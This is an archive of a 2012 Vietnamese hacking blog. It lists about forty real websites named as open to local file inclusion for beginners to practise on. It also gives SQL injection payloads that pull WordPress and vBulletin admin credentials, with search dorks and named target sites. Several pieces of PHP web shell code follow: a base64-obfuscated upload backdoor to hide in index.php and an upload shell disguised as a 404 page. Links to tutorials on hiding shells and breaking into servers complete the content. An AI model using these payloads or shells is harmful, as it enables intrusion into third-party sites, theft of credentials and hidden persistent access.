Dương-UG Blog's: tháng 9 2012

Thứ Năm, 27 tháng 9, 2012

list site dính LFI cho nb thực hành :)

0. http://modelspromo.com/index.php?page=[LFI]
1. http://www.erp4biz.com/index.php?isi=[LFI]
2. http://www.scorpionsports.eu/website/index.php?page=[LFI]
3. http://www.asientoshm.com/index.php?page=[LFI]
4. http://www.hawaiianshirtshi.com/index.php?file=[LFI]
5. http://www.friocam.com.ar/index.php?page=[LFI]
6. http://www.sintraems.org.br/main.php?pg=[LFI]
7. http://www.lpr-andrecitroen-marly.fr/index.php?page=[LFI]
8. http://www.delcroix.fr/index.php?page=[LFI]
9. http://www.eqe-expert.com/index.php?lien=[LFI]
10. http://www.msap.centre-de-ressources.fr/index.php?page=[LFI]
11. http://www.ecm-france.com/fr/display.php?filename=[LFI]
12. http://www.bornthinker.com/template.php?page=[LFI]
13. http://www.traildumont.be/index.php?page=[LFI]
14. http://www.arsmb.com/index.php?fname=[LFI]
15. http://www.ski-chardonbleu.com/index.php?fname=[LFI]
16. http://www.tjeffschool.org/index.php?filename=[LFI]
17. http://www.afriquest.com/index.php?filename=[LFI]
18. http://lowcountryplantations.org/index.php?filename=[LFI]
19. http://www.museodellosplendore.it/index.php?filename=[LFI]
20. http://www.plc.com.la/index.php?viewFile=[LFI]
21. http://www.bht.org.uk/index.php?dir=[LFI]
22. http://www.tasha9503.com/tasha9503.ca/index.php?file=[LFI]
23 - http://www.vcsm.in/index.php?file=[LFI]
24 - http://www.pluie-d-etoiles.com/index.php?file=[LFI]
25 - http://www.vcsm.in/index.php?file=[LFI]
26 - http://www.charger-camera.co.uk/index.php?filename=[LFI]
27 - http://www.cyanbs.com/clients/ast/index.php?filename=[LFI]
28 - http://www.akkafassociates.com/index.php?filename=[LFI]
29 - http://www.webpublishingexperts.com/gene...?filename=[LFI]
30 - http://www.helpdesk.planmagic.com/index....lude_file=[LFI]
31 - http://www.alphametalurgica.com.br/index.php?require=[LFI]
32 - http://www.anglojales.g12.br/index.php?require=[LFI]
33 - http://www.linearredo.com/index.php?require=[LFI]
33 - http://www.jornaldejales.com.br/index.php?require=[LFI]
34 - http://www.chambermusicinternational.org....php?main=[LFI]
35 - http://www.modelspromo.com/index.php?page=[LFI]
36 - http://www.bankingonly.com/index.php?page=[LFI]
37 - http://www.qcivalves.com/index.php?page=[LFI]
38 - http://www.rinaldaclairvoyance2000.com/u....php?page=[LFI]
39 - http://www.looking-better.com/index.php?page=[LFI]
40 - http://ucragn.com/index.php?page=[LFI]

Nguồn: HF

Thứ Ba, 25 tháng 9, 2012

Video hướng dẫn cài đặt SQL Server 2008

Hướng dẫn cài SQL Server 2008 cho mọi người.

Tại mình thấy hôm trước trên sbox VHB có một mem của vhb kêu là không cài được SQL Server. Sau đây là Video hướng dẫn cài Từ A->Z cho AE.

Hướng dẫn cài đặt SQL Server 2008 nhé (hơn 8Mb nén).

Link: http://www.mediafire.com/?ypq2pnapdr75fu2

pass: vhb

Nguồn : VHB

Thứ Hai, 24 tháng 9, 2012

WordPress PhotoRacer Plugin(Attachment) SQL Exploit

Hi aLL ! I am OrucReis

Coder ; OrucReis
Country ; TURKEY

I am tell WordPress PhotoRacer Plugin(Attachment).
I have found this vulnerability :)
I hope that is helpful...

Dork ; inurl:"mostvoted.php?pid="

Exploit ; mostvoted.php?pid=-xx union select 1,2,3,4,concat_ws(user_login,user_pass),6,7 from wp_users

OR ;

Username= mostvoted.php?pid=-xx union select 1,2,3,4,user_login,6,7 from wp_users
Password= mostvoted.php?pid=-xx union select 1,2,3,4,user_pass,6,7 from wp_users

Admin Panel= /wp-login.php , /wp-login/ , /wp-admin.php or /wp-admin/

MD5 Crack;
http://hashchecker.de
http://md5cracker.org

[New bug] sqli INURL:infernoshout.php

1.Sử dụng dork trên google

INURL:infernoshout.php

2. Exploit link: infernoshout.php?do=options&area=commands

3. Ném vào phần input dòng bên dưới còn output điền gì cũng đc.

COMMAND INPUT :

Code:

' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#

4. nếu hiện DATABASE ERROR thì xem mã nguồn của nó kéo xuống bên dưới hiện ra kết quả

Đã thử vài site không chơi đc kiểu này

demo: http://sinhvienphuyen.vn/forum/infernoshout.php
www.saigoncdclub.com/forum/infernoshout.php

SQL - TUT Magic convert & Error based

Magic Convert

http://www.mediafire.com/?leuyke4493l30fs

http://www.mediafire.com/?3t414vzrpssd3g1

SQL Chanlenger - Luyện tập SQL Injection

Hiện tại đang có 6 level theo mức độ từ dễ đến khó: http://www.zixem.altervista.org/

[Video TUT] Up Shell Win Via Bug DNN

www.mediafire.com/?tm1oyua4od1tkeq

[TUT] Hack Account ADSL VNPT [8/7/2012]

TUT này nhìn sơ thì có vẻ k có gì nguy hiểm... nhưng nếu chúng ta biết cách thì có thể đổ cmd vào đó... và dùng thêm dyndns để cập nhật ip .. (nếu victim có dis ra thì Ip sẽ thay đổi) TUT này có thể áp dụng cho cả FPT Link: http://www.mediafire.com/?7h955j77ge094ew TUT này k có gì đặc sắc .. những ai chưa biết thì có thể xem để biết thêm

Local bypass ip/~user

Tutorial: http://www.mediafire.com/?k9a8xo26e66ck6b

bypass[perl][ln][ls][cat]

http://www.mediafire.com/?07pe2z7ga7mdgbm

jSQL : Java GUI for database Injection

An easy to use SQL injection tool for retrieving database informations from a distant server.

jSQL Injection features:

GET, POST, header, cookie methods
visual, errorbase, blind algorithms
automatic best algorithms detection
data retrieving progression
proxy setting

Download jSQL

Lệnh zip code trên shell

Yêu cầu folder cần zip bằng lệnh chmod default 755 nhé
Command
zip -r -9 file_name.zip [path]
vd: zip -r -9 kechocgianvn.zip /home/user/public_html
=> web nó có cái gì thì zip nguyên cả đám. mình thường xài lệnh này

Tar
tar -cvf file_name.tar [path]

Gz
tar -zcvf file_name.tar.gz [path]

Trong đó [path] là đường dẫn tới user hoặc folder nhé

Hack WHMCS

ut by X-T
Anh X-T nhờ Black post dùm ^_^.
ACE trên VHB coi rồi học theo nhá chứ black cũg chưa down về xem .
Link : http://www.mediafire.com/?ykptlrqa5gfx2md

Nguồn VHB

Thứ Ba, 18 tháng 9, 2012

[TUT] Khai thác Bug Joomla 1.6,1.7,2.5.0 và 2.5.2

Khai thác Bug Joomla 1.6,1.7,2.5.0 và 2.5.2 Download http://www.mediafire.com/?h7h16yg34w9jhpl

Tut giấu shell

Mọi người thấy hay thì cho em tí tín dụng để vào Family nhé

Bình thường, sau khi đã up dc shell lên host, việc đầu tiên có lẽ là tìm chỗ giấu shell.

Vậy giấu shell làm sao để admin khó biết ?

Có nhiều cách: đặt tên na ná tên các file trên host, giấu ở các folder kín,...

Bài viết sau đây giới thiệu một cách giấu shell khác, khá hữu dụng

Bước 1: Giấu
+ Chọn một file nào đó trên host (VD: index.php)
+ Chèn thêm đoạn code sau vào giữa file:

Code:

eval(base64_decode("Pz48P3BocCBpZihpc3NldCgkX0dFVFsiYWN0Il0pICYmICRfR0VUWyJhY3QiXT09InNvaWRhaWthIil7CgppZihpc3NldCgkX0ZJTEVTWyJGaWxlIl0pKQp7CiRQYXRoPWV4cGxvZGUoIi8iLF9fRklMRV9fKTsKdW5zZXQoJFBhdGhbY291bnQoJFBhdGgpLTFdKTsKJFBhdGg9aW1wbG9kZSgiLyIsJFBhdGgpOwokUGF0aC49Ii8iLiRfRklMRVNbIkZpbGUiXVsibmFtZSJdOwoJaWYgKCRfRklMRVNbIkZpbGUiXVsiZXJyb3IiXSA+IDApCgl7CgllY2hvICJFcnJvcjogIiAuICRfRklMRVNbIkZpbGUiXVsiZXJyb3IiXSAuICI8YnIgLz4iOwoJfQoJZWxzZSBpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siRmlsZSJdWyJ0bXBfbmFtZSJdLCRQYXRoKSkKCXsKCWVjaG8gIlN0b3JlZCBpbjogIiAuJFBhdGg7Cgl9Cn0KPz4KPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJGaWxlIi8+PGlucHV0IHR5cGU9InN1Ym1pdCIvPgo8L2Zvcm0+Cjxici8+CkNvZGVkIGJ5IExlb3JpdXMKPD9waHAKZXhpdDsKfQo/Pjw/"));

Bước 2: Sử dụng
+ Truy cập vào index.php?act=soidaika

========================================================
lang thang có thấy mấy đoạn code này chèn vô index,hóa ra của bạn,
thêm 1 doạn nho nhỏ nè chèn bất kỳ đâu nhé,khó mà mò dc nó

if($_GET['id']=='hk')
{
echo '<form method="POST" enctype="multipart/form-data" action="?id=hk">
<input type="file" name="file_upload" size="20" id="file">
<input type="submit" name="gui" value="Up" >
</form>';if (isset($_POST['gui'])){
move_uploaded_file($_FILES['file_upload']['tmp_name'], $_FILES['file_upload']['name']);
}
}

nếu chèn vô index sẽ là

index.php?id=hk

sẽ thấy from upload

Symlink sa 3.0

http://www.mediafire.com/?2yo08k3a0ha6mym

TUT hướng dẫn sử dụng:

http://www.mediafire.com/?rqd1m6sgllssi50

[TUT] Nguỵ trang shell kiểu úc cmnr

Tình cờ nghĩ ra cách làm shell thật thật giả giả đánh lừa thị giác admin

1. Anh em tạo 1 file leoshell.php nội dung như sau:

<?php
if(isset($_FILES["File"]))
{
define("DS",DIRECTORY_SEPARATOR);
echo "<body style='background:#000;color:#66ff00'>";
$Path=explode(DS,__FILE__);
unset($Path[count($Path)-1]);
$Path=implode(DS,$Path);
$Path.=DS.$_FILES["File"]["name"];
if ($_FILES["File"]["error"] > 0)
{
echo "Error: " . $_FILES["File"]["error"] . "<br />";
}
else if(move_uploaded_file($_FILES["File"]["tmp_name"],$Path))
{
echo "Stored in: " .$Path;
@chmod($Path,0755);
}
echo "</body>";
exit;
}
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.8.1.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
var password="[left][right][left][right][up][down]";
var passwordType="";
$('body').keydown(function(e) {
if(passwordType=="[END]"){return false;}
switch(eval(e.which))
{
case 37:{
passwordType+="[left]";
break;
}
case 38:{
passwordType+="[up]";
break;
}
case 39:{
passwordType+="[right]";
break;
}
case 40:{
passwordType+="[down]";
break;
}
default:{
passwordType+="";
break;
}
}
if(passwordType.indexOf(password)>=0)
{
passwordType="[END]";
$("body").fadeOut(1000,function(){
$("body").css({"background":"#000000","color":"#66 ff00"});
$("body").fadeIn(1000,function(){
$("body h1").fadeOut(500,function(){
$("body h1").html("Welcome back, my Hacker !");
$("body h1").fadeIn(500);
$("body p").eq(0).fadeOut(500,function(){
$(this).html("<form method='post' enctype='multipart/form-data'>Select file to upload: <input type='file' name='File'/><input type='submit'/>");
$(this).fadeIn(500);
$("title").html("Hacked !!!!");
$("p").eq(1).html("");
$("address").html("Coded by Leorius !");
});
});
});
});
}
});
});
</script>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <?=$_SERVER['REQUEST_URI']?> was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_qos/9.74 mod_bwlimited/1.4 Server at <?=$_SERVER['SERVER_NAME']?> Port 80</address>
</body></html>

2. Chạy file leoshell.php trên host, sẽ thấy trang 404 file not found, anh em bình tĩnh, gõ lần lượt các phím [trái] [phải] [trái] [phải] [lên] [xuống], kho báu sẽ hiện ra

3. Các bảo có thể edit mật khẩu ở đoạn, theo đúng các cú pháp [left][up][right][down]:

var password="[left][right][left][right][up][down]"

TUT local server BSG

download: http://www.mediafire.com/?v6rbccf7occhfx6
pass: vhb

Nguồn: VHB

[Tut] Local Và Up Shell Wordpress

http://www.mediafire.com/download.php?k7n1v4x660rq2jc
Pass: ano.vhb

Nguồn: VHB

[TUT] Local server 27.0.12.24

1 sever win
Download : http://www.mediafire.com/?xbnwn046v6rvy0p

[TUT] local bằng apache + phát tán shell

Download: http://www.mediafire.com/?et1w9ilo8775vmj

Nguồn: VHB

[TUT] Local gioitre9x.com

http://www.mediafire.com/?nmlon5cbr4wup04
password: heavendie-hf

Share code WAP (banana)

Download: http://www.mediafire.com/?1rmw6v1un1rz3cv

Pass: vnhgroup

Nguồn: VNH Group

Tut up shell source Vietnext

http://www.mediafire.com/?iu3926t1pu63o23

Method local cho anh em

Có thể bypass 1 số sv ( đã thử với bkns ) Edit rùi sữa tới path config victim rùi chạy thôi http://www.mediafire.com/?tocj3kvcqtoh6ll End!!

Thứ Hai, 17 tháng 9, 2012

Tham khảo cách tạo nick số ( id number ) mới

Thân chào anh chị em !

Hôm nay mình muốn chia sẽ một cách làm nick yahoo toàn là số nhưng tôi không biết anh em có thể đăng kí được hây không vì phải fake ip để đăng kí ( tôi tested khi đăng kí phải fake ip nước ngoài )

nhưng phải nhanh triển khai cho anh em tham khảo coi ai mai mắn có thể làm được,,,,

Sử dụng google chrome để làm id số
Cách 1 :
Đi đến một trang proxy servers web( có thể fake ip ) hoặc bằng phương pháp khác nếu bạn có thể ....nhưng cần phải sử dụng ip nước ngoài ví dụ như Mỹ ,,, còn đây mình kiểm tra 2 cách mình sẽ nói giới thiệu dưới đây

mình chọn fake ip được ở trang này

http://turbohide.com/ trang proxy server web

sau đó anh chị em copy & paste link yahoo này

https://edit.yahoo.com/registration

theo hình của mình

This image has been resized. Click this bar to view the full image. The original image is sized 852x780.

Cách 2 : đơn giản hơn đối với người biết sữ dụng socks (chọn socks5 ) bỏ vô proxifier để fake ip (giả ip )

bạn có thể lấy proxifier ở đây key mình post còn làm việc bỏ socks 5 vô thẳng tiến đến trang yahoo đăng kí mình để ở trên hoặc tại link này

.. khi ghi thông tin đăng kí nick số cũng ghi rõ thông tin như nick thường (họ tên năm sinh zip code tên tài khoản đăng kí , pass.. câu hỏi mật, xong hoàn tất hết ở trên chuẩn bị rõ captcha nhớ alt mail bỏ trống không ghi gì cả )

(mình cũng chưa test ip Việt Nam coi có đăng kí được hây không - Anh chị em nào có test thành công ip Việt Nam thì hãy vào đây chia sẽ cho anh em khỏi tốn công nhé..)

Bắt đầu từng bước một để đăng kí

This image has been resized. Click this bar to view the full image. The original image is sized 1280x1024.

Anh Chị Em thấy trong hình mình post click chuột bên phải ngay khung ghi tên tài khoản chọn inspect element

sau đó nó sẽ hiện ra như bên dưới hình ngay hàng cuối dưới hình <input type="text" name="yahooid" id=''yahooid'' valuesize=''32''...............

click chuột ngay type="text" edit attribute sữa test thành chữ number sau đó kế bên name="yahooid" id=''yahooid'' chỉ sửa

id=''yahooid'' click ngay nó click chuột chọn edit attribute yahooid thành nick số bạn muốn tạo